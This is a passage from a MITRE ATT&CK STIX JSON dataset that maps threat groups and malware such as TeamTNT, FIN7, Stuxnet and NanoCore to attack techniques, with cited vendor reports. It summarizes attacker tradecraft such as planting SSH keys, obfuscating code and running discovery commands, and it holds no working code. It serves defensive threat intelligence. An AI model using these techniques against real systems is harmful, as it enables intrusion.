Kitten)","relationship_type":"uses","source_ref":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","target_ref":"tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12e62986-c406-4767-9cc5-49d05c5c34b7","created":"2022-10-04T21:10:16.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:13:17.793Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) can search for and collect data from specific Chrome, Opera, Microsoft Edge, and Firefox files, including any folders that have the string `Profile` in its name.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--12ea5ead-f19a-488e-8b47-ceb9d45593fd","created":"2021-10-01T01:57:31.884Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TeamTNT](https://attack.mitre.org/groups/G0139) executed [Hildegard](https://attack.mitre.org/software/S0601) through the kubelet API run command and by executing commands on running containers.(Citation: Unit 42 Hildegard Malware)","modified":"2022-04-14T21:06:03.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--12ea66f1-566a-404f-a948-f76b9047710e","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"PWC Cloud Hopper April 2017","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[menuPass](https://attack.mitre.org/groups/G0045) has used net use to conduct connectivity checks to machines.(Citation: PWC Cloud Hopper April 2017)","modified":"2022-07-20T20:07:40.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12ecc5cc-dad6-4532-9945-df575b008c2a","created":"2023-09-06T14:20:52.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.630Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to collect the computer name, CPU manufacturer name, and C:\\ drive serial number from a compromised machine. [Sardonic](https://attack.mitre.org/software/S1085) also has the ability to execute the `ver` and `systeminfo` commands.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12ee5148-c274-4c94-a0da-69316cb329d2","created":"2022-09-22T22:30:30.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:31:01.910Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the Makecab utility to compress and a version of WinRAR to create password-protected archives of stolen data prior to exfiltration.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12f96649-9314-4d5f-854b-6316737df1ed","created":"2024-08-08T18:11:01.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:49:43.500Z","description":"The [ROADSWEEP](https://attack.mitre.org/software/S1150) binary contains RC4 encrypted embedded scripts.(Citation: Mandiant ROADSWEEP August 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--12fc907f-4ed1-4d44-a40b-12bfa8b89082","created":"2024-03-01T16:56:32.162Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T16:56:32.162Z","description":"Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1307fdab-a09c-4d48-a917-a76ba0113098","created":"2022-09-02T19:38:55.971Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:38:55.971Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has dropped an SSH-authorized key in the `/root/.ssh` folder in order to access a compromised server with SSH.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1308cf20-40b9-4163-bb68-b3f08b0f53b8","type":"relationship","created":"2020-03-12T19:11:05.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2020-03-12T19:11:05.236Z","description":"[Proton](https://attack.mitre.org/software/S0279) persists via Launch Agent.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--130f35b1-17d5-45bf-9000-2040adbcc56c","created":"2021-09-13T20:27:26.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:55:50.050Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) transforms encrypted binary data into an ASCII string in order to use it as a URL parameter value.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--13111e18-5f34-4925-ba0d-655a1fedeb52","created":"2022-12-22T18:54:38.352Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-22T18:54:38.352Z","description":"The [KEYPLUG](https://attack.mitre.org/software/S1051) Windows variant has retrieved C2 addresses from encoded data in posts on tech community forums.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1313b6ce-f09b-4747-abd9-0220293d60f3","type":"relationship","created":"2020-03-09T14:29:52.142Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T14:29:52.142Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--13183327-ca7a-4237-98be-c4c7215bf3d3","created":"2022-10-13T15:19:32.542Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:19:32.542Z","description":"[ccf32](https://attack.mitre.org/software/S1043) can be used to automatically collect files from a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13189e47-4ae9-49ea-8c0f-605177626ada","type":"relationship","created":"2021-09-02T16:01:58.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."},{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."},{"source_name":"Unit 42 ProjectM March 2016","url":"https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/","description":"Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.071Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has used weaponized documents in e-mail to compromise targeted systems.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)(Citation: Unit 42 ProjectM March 2016)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--131ac47f-f346-4d49-8c59-f252684b0281","created":"2022-04-11T00:24:43.237Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can use `cmd.exe` for execution on compromised hosts.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:24:43.237Z","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--131d75f1-84c3-4ef8-b858-7f74aa7ce157","type":"relationship","created":"2020-05-18T21:01:51.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2021-10-12T16:31:13.423Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) launched the QEMU services in the /Library/LaunchDaemons/ folder using launchctl. It also uses launchctl to unload all [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s when updating to a newer version of [LoudMiner](https://attack.mitre.org/software/S0451).(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.763Z","description":"[Remsec](https://attack.mitre.org/software/S0125) has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13204383-a747-4f7f-a75c-858ddc76beab","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-05-03T16:45:45.292Z","description":"[WinMM](https://attack.mitre.org/software/S0059) sets a WH_CBT Windows hook to collect information on process creation.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--22addc7b-b39f-483d-979a-1b35147da5de","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--13219288-d8b3-4464-a173-923ed8dfae0a","created":"2019-01-29T20:05:36.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PaloAlto NanoCore Feb 2016","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/"},{"source_name":"Cofense NanoCore Mar 2018","description":"Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:05:04.342Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) can open a remote command-line interface and execute commands.(Citation: PaloAlto NanoCore Feb 2016) [NanoCore](https://attack.mitre.org/software/S0336) uses JavaScript files.(Citation: Cofense NanoCore Mar 2018)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1326a801-6937-42ab-9916-e142ccc64261","type":"relationship","created":"2021-10-12T21:06:28.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-10-12T21:06:28.256Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has used several built-in API functions for discovery like GetIpNetTable and NetShareEnum.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--132985bb-b5bd-4fce-b61d-ae3177de73f7","type":"relationship","created":"2020-10-20T15:42:48.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T02:49:49.813Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--132c7780-3fa4-478b-b037-f2c1ad99d98f","type":"relationship","created":"2020-07-01T21:19:30.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-10-11T22:09:22.448Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) will enumerate the macOS version to determine which follow-on behaviors to execute using /usr/bin/sw_vers -productVersion.(Citation: MacKeeper Bundlore Apr 2019)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1330d8a5-c8be-4579-8a91-4cfda860ea0a","created":"2019-01-30T17:43:28.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist Darkhotel Aug 2015","description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/"},{"source_name":"Microsoft DUBNIUM July 2016","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021.","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:41:36.052Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has obfuscated code using RC4, XOR, and RSA.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1332e859-38be-45ed-9ebc-09efd7117c17","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 Aug 2018","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"},{"source_name":"Flashpoint FIN 7 March 2019","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."},{"source_name":"FireEye FIN7 Aug 2018","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"}],"modified":"2020-06-24T19:04:40.545Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) used SQL scripts to help perform tasks on the victim's machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: FireEye FIN7 Aug 